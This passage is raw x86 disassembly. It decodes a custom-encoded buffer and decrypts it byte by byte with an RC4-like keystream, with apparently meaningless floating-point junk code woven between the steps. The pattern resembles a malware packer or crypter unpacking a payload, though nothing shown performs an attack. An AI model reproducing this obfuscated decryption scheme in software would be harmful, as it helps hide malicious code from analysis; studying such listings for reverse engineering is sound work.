mov dword [ebp - 0x377c], ecx
mov edx, dword [ebp - 0x3778]
or edx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], edx
mov al, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x32cd], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x327b]
add edx, ecx
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x3268]
add al, 1
mov byte [ebp - 0x3268], al
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp - 0x327b]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x327a]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp - 0x32cd]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x32cd]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x32cc]
add edx, ecx
mov byte [ebp - 0x32cc], dl
movzx eax, byte [ebp - 0x32cb]
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3268]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
xor eax, edx
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32cc]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp + edx - 0x53c4]
xor eax, ecx
mov byte [ebp - 0x327a], al
mov dl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x42a29f
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0xba], cx
jmp 0x42a033
mov eax, dword [ebp - 0x35a0]
add eax, 1
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x3370], ecx
mov edx, dword [ebp - 0x35a0]
add edx, 1
mov dword [ebp - 0x35a0], edx
mov eax, dword [ebp - 0x3370]
shl eax, 1
mov dword [ebp - 0x384c], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x384c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3744], edx
mov dword [ebp - 0x3748], 0x76
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3774], ecx
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x3774]
movzx eax, byte [edx]
mov dword [ebp - 0x374c], eax
mov dword [ebp - 0x3750], 0x3a
mov ecx, dword [ebp - 0x3744]
sub ecx, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x374c]
sub edx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3754]
shl eax, 4
mov dword [ebp - 0x3778], eax
movss xmm0, dword [0xa722d0]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [0xa721e8]
movss dword [ebp - 0x3e3c], xmm0
movss xmm0, dword [0xa72104]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [0xa72018]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3dbc]
mulss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [ebp - 0x364c]
mulss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x364c]
subss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x364c]
subss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x3460]
comiss xmm0, dword [ebp - 0x364c]
jbe 0x42a5aa
movss xmm0, dword [ebp - 0x364c]
addss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x3460]
mulss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3dbc]
addss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [ebp - 0x364c]
divss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x3460]
divss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3e3c]
subss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3e3c], xmm0
movss xmm0, dword [ebp - 0x3e3c]
mulss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3e3c], xmm0
movss xmm0, dword [ebp - 0x3dbc]
addss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [ebp - 0x3e3c]
comiss xmm0, dword [ebp - 0x3460]
jbe 0x42a548
movss xmm0, dword [ebp - 0x3460]
divss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3dbc]
divss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [ebp - 0x3dbc]
mulss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3dbc], xmm0
movss xmm0, dword [ebp - 0x3460]
subss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3460], xmm0
jmp 0x42a5a8
movss xmm0, dword [ebp - 0x3460]
divss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3460]
subss xmm0, dword [ebp - 0x364c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x364c]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x364c], xmm0
movss xmm0, dword [ebp - 0x3dbc]
mulss xmm0, dword [ebp - 0x3460]
movss dword [ebp - 0x3dbc], xmm0
jmp 0x42a616
movss xmm0, dword [ebp - 0x3460]
addss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3460]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x3460]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3460], xmm0
movss xmm0, dword [ebp - 0x364c]
addss xmm0, dword [ebp - 0x3dbc]
movss dword [ebp - 0x364c], xmm0
mov ecx, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], ecx
mov edx, dword [ebp - 0x3778]
or edx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], edx
mov al, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x32cd], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x327b]
add edx, ecx
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x3268]
add al, 1
mov byte [ebp - 0x3268], al
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp - 0x327b]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x327a]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp - 0x32cd]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x32cd]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x32cc]
add edx, ecx
mov byte [ebp - 0x32cc], dl
movzx eax, byte [ebp - 0x32cb]
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3268]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
xor eax, edx
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32cc]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp + edx - 0x53c4]
xor eax, ecx
mov byte [ebp - 0x327a], al
mov dl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x42a7b7
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0xba], cx
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x35a0]
add ecx, 1
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x384c], edx
mov eax, dword [ebp - 0x3770]
add eax, dword [ebp - 0x384c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3744], ecx
mov dword [ebp - 0x3748], 0x76
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3774], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x3774]
movzx edx, byte [ecx]
mov dword [ebp - 0x374c], edx
mov dword [ebp - 0x3750], 0x3a
mov eax, dword [ebp - 0x3744]
sub eax, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x374c]
sub ecx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3754]
shl edx, 4
mov dword [ebp - 0x3778], edx
mov eax, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], eax
mov ecx, dword [ebp - 0x3778]
or ecx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], ecx
mov dl, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x53c4]
mov byte [ebp - 0x32cd], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x327b]
add ecx, eax
mov byte [ebp - 0x327b], cl
mov dl, byte [ebp - 0x3268]
add dl, 1
mov byte [ebp - 0x3268], dl
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp - 0x327b]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x327a]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp - 0x32cd]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x32cd]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x32cc]
add ecx, eax
mov byte [ebp - 0x32cc], cl
movzx edx, byte [ebp - 0x32cb]
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3268]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
xor edx, ecx
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
movzx eax, byte [ebp - 0x32cc]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp + ecx - 0x53c4]
xor edx, eax
mov byte [ebp - 0x327a], dl
mov cl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], dl
cmp dword [ebp - 0x3370], 0
jle 0x42aa12
movsx ax, byte [ebp - 0x3319]
mov ecx, dword [ebp - 0x3370]
mov word [ebp + ecx*2 - 0xba], ax
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x3370], edx
mov eax, dword [ebp - 0x35a0]
add eax, 1
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x384c], ecx
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x384c]
movzx eax, byte [edx]
mov dword [ebp - 0x3744], eax
mov dword [ebp - 0x3748], 0x76
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3774], edx
mov eax, dword [ebp - 0x3770]
add eax, dword [ebp - 0x3774]
movzx ecx, byte [eax]
mov dword [ebp - 0x374c], ecx
mov dword [ebp - 0x3750], 0x3a
mov edx, dword [ebp - 0x3744]
sub edx, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x374c]
sub eax, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x3754]
shl ecx, 4
mov dword [ebp - 0x3778], ecx
mov edx, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], edx
mov eax, dword [ebp - 0x3778]
or eax, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], eax
mov cl, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], cl
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + edx - 0x53c4]
mov byte [ebp - 0x32cd], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp - 0x327b]
add eax, edx
mov byte [ebp - 0x327b], al
mov cl, byte [ebp - 0x3268]
add cl, 1
mov byte [ebp - 0x3268], cl
movzx edx, byte [ebp - 0x327b]
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x327a]
movzx eax, byte [ebp - 0x327b]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp - 0x327a]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x3268]
mov al, byte [ebp - 0x32cd]
mov byte [ebp + edx - 0x53c4], al
movsd xmm0, qword [0xa71ed8]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [0xa71dd0]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [0xa71c98]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [0xa71b10]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [0xa719c0]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [0xa71748]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3c78]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3d48]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3c78]
mulsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3c78]
mulsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3c80]
addsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3c78]
comisd xmm0, xmmword [ebp - 0x3b34]
jbe 0x42ad4b
movsd xmm0, qword [ebp - 0x4164]
mulsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3c78]
subsd xmm0, qword [ebp - 0x4164]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3c80]
mulsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3d48]
mulsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x4164]
mulsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3c80]
subsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3c80], xmm0
movzx ecx, byte [ebp - 0x32cd]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp - 0x32cc]
add eax, edx
mov byte [ebp - 0x32cc], al
jmp 0x42b171
movsd xmm0, qword [ebp - 0x3c80]
mulsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x4164]
divsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
divsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3d48]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3b34]
addsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
divsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3c78]
addsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3b34]
mulsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3b34]
addsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3c78]
subsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3b34]
divsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x4164]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3d48]
comisd xmm0, xmmword [ebp - 0x3b34]
jbe 0x42b0e1
movsd xmm0, qword [ebp - 0x4164]
addsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x4164]
addsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3c80]
addsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
subsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
subsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3d48]
divsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3b34]
subsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3d48]
subsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3c78]
mulsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3c78]
divsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3d48]
addsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3c78]
comisd xmm0, xmmword [ebp - 0x3c80]
jbe 0x42b04c
movsd xmm0, qword [ebp - 0x3b3c]
subsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x4164]
addsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3d48]
addsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3b34]
addsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
subsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x3b34]
addsd xmm0, qword [ebp - 0x3b3c]
movsd qword [ebp - 0x3b34], xmm0
jmp 0x42b0dc
movsd xmm0, qword [ebp - 0x3d48]
divsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3b34]
divsd xmm0, qword [ebp - 0x3c78]
movsd qword [ebp - 0x3b34], xmm0
movsd xmm0, qword [ebp - 0x3c80]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3c80]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3c80]
subsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3c80], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x4164]
movsd qword [ebp - 0x3b3c], xmm0
jmp 0x42b171
movsd xmm0, qword [ebp - 0x3c78]
mulsd xmm0, qword [ebp - 0x4164]
movsd qword [ebp - 0x3c78], xmm0
movsd xmm0, qword [ebp - 0x3d48]
divsd xmm0, qword [ebp - 0x3b34]
movsd qword [ebp - 0x3d48], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x4164]
subsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movsd xmm0, qword [ebp - 0x3b3c]
mulsd xmm0, qword [ebp - 0x3d48]
movsd qword [ebp - 0x3b3c], xmm0
movsd xmm0, qword [ebp - 0x4164]
subsd xmm0, qword [ebp - 0x3c80]
movsd qword [ebp - 0x4164], xmm0
movzx ecx, byte [ebp - 0x32cb]
movzx edx, byte [ebp - 0x327b]
movzx eax, byte [ebp + edx - 0x53c4]
movzx edx, byte [ebp - 0x3268]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x53c4]
xor ecx, eax
movzx edx, byte [ebp - 0x327a]
movzx eax, byte [ebp + edx - 0x53c4]
movzx edx, byte [ebp - 0x3297]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
movzx edx, byte [ebp - 0x32cc]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp + eax - 0x53c4]
xor ecx, edx
mov byte [ebp - 0x327a], cl
mov al, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], al
mov cl, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x42b22c
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0xba], dx
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x3370], ecx
mov edx, dword [ebp - 0x35a0]
add edx, 1
mov dword [ebp - 0x35a0], edx
mov eax, dword [ebp - 0x3370]
shl eax, 1
mov dword [ebp - 0x384c], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x384c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3744], edx
mov dword [ebp - 0x3748], 0x76
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3774], ecx
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x3774]
movzx eax, byte [edx]
mov dword [ebp - 0x374c], eax
mov dword [ebp - 0x3750], 0x3a
mov ecx, dword [ebp - 0x3744]
sub ecx, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x374c]
sub edx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3754]
shl eax, 4
mov dword [ebp - 0x3778], eax
mov ecx, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], ecx
mov edx, dword [ebp - 0x3778]
or edx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], edx
mov al, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x32cd], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x327b]
add edx, ecx
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x3268]
add al, 1
mov byte [ebp - 0x3268], al
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp - 0x327b]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x327a]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp - 0x32cd]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x32cd]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x32cc]
add edx, ecx
mov byte [ebp - 0x32cc], dl
movzx eax, byte [ebp - 0x32cb]
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3268]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
xor eax, edx
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32cc]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp + edx - 0x53c4]
xor eax, ecx
mov byte [ebp - 0x327a], al
mov dl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x42b486
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0xba], cx
movss xmm0, dword [0xa72324]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [0xa72234]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [0xa72134]
movss dword [ebp - 0x375c], xmm0
movss xmm0, dword [0xa72038]
movss dword [ebp - 0x39a0], xmm0
movss xmm0, dword [ebp - 0x3784]
addss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x35c8]
subss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x35c8]
mulss xmm0, dword [ebp - 0x39a0]
